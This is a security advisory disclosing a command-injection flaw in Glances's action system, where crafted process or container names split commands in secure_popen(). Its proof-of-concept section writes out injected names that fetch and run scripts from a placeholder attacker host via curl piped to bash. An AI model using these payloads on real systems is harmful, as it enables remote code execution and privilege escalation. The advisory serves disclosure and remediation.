GHSA-vcv2-q258-wrg7
Glances has a Command Injection via Process Names in Action Command Templates
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.
## Details
**The action execution flow:**
1. Admin configures an action in glances.conf (documented feature):
```ini
[cpu]
critical_action=echo "High CPU on {{name}}" | mail [email protected]
```
2. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):
```python
self.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)
```
3. The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).
4. In glances/actions.py:77-78, the Mustache library renders the template:
```python
if chevron_tag:
cmd_full = chevron.render(cmd, mustache_dict)
```
5. The rendered command is passed to secure_popen() (glances/actions.py:84):
```python
ret = secure_popen(cmd_full)
```
**The secure_popen vulnerability** (glances/secure.py:17-30):
```python
def secure_popen(cmd):
ret = ""
for c in cmd.split("&&"):
ret += __secure_popen(c)
return ret
```
And __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.
Additionally, the redirect handler at line 69-72 writes to arbitrary file paths:
```python
if stdout_redirect is not None:
with open(stdout_redirect, "w") as stdout_redirect_file:
stdout_redirect_file.write(ret)
```
## PoC
**Scenario 1: Command injection via pipe in process name**
```bash
# 1. Admin configures processlist action in glances.conf:
# [processlist]
# critical_action=echo "ALERT: {{name}} used {{cpu_percent}}% CPU" >> /tmp/alerts.log
# 2. Attacker creates a process with a crafted name containing a pipe:
cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash"
"/tmp/innocent|curl attacker.com/evil.sh|bash" 9999 &
# 3. When the process triggers a critical alert, secure_popen splits by |:
# Command 1: echo "ALERT: innocent
# Command 2: curl attacker.com/evil.sh <-- INJECTED
# Command 3: bash used 99% CPU" >> /tmp/alerts.log
```
**Scenario 2: Command chain via && in container name**
```bash
# 1. Admin configures containers action:
# [containers]
# critical_action=docker stats {{name}} --no-stream
# 2. Attacker names a Docker container with && injection:
docker run --name "web && curl attacker.com/rev.sh | bash && echo " nginx
# 3. secure_popen splits by &&:
# Command 1: docker stats web
# Command 2: curl attacker.com/rev.sh | bash <-- INJECTED
# Command 3: echo --no-stream
```
## Impact
- **Arbitrary command execution:** An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).
- **Privilege escalation:** If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.
- **Arbitrary file write:** The > redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.
- **Preconditions:** Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.
## Recommended Fix
Sanitize Mustache-rendered values before secure_popen processes them:
```python
# glances/actions.py
def _escape_for_secure_popen(value):
"""Escape characters that secure_popen treats as operators."""
if not isinstance(value, str):
return value
value = value.replace("&&", " ")
value = value.replace("|", " ")
value = value.replace(">", " ")
return value
def run(self, stat_name, criticality, commands, repeat, mustache_dict=None):
for cmd in commands:
if chevron_tag:
if mustache_dict:
safe_dict = {
k: _escape_for_secure_popen(v) if isinstance(v, str) else v
for k, v in mustache_dict.items()
}
else:
safe_dict = mustache_dict
cmd_full = chevron.render(cmd, safe_dict)
else:
cmd_full = cmd
...
```
References
External links from the advisory. They lead to third-party sites.
- https://github.com/nicolargo/glances/security/advisories/GHSA-vcv2-q258-wrg7
- https://nvd.nist.gov/vuln/detail/CVE-2026-32608
- https://github.com/nicolargo/glances/commit/6f4ec53d967478e69917078e6f73f448001bf107
- https://github.com/nicolargo/glances
- https://github.com/nicolargo/glances/releases/tag/v4.5.2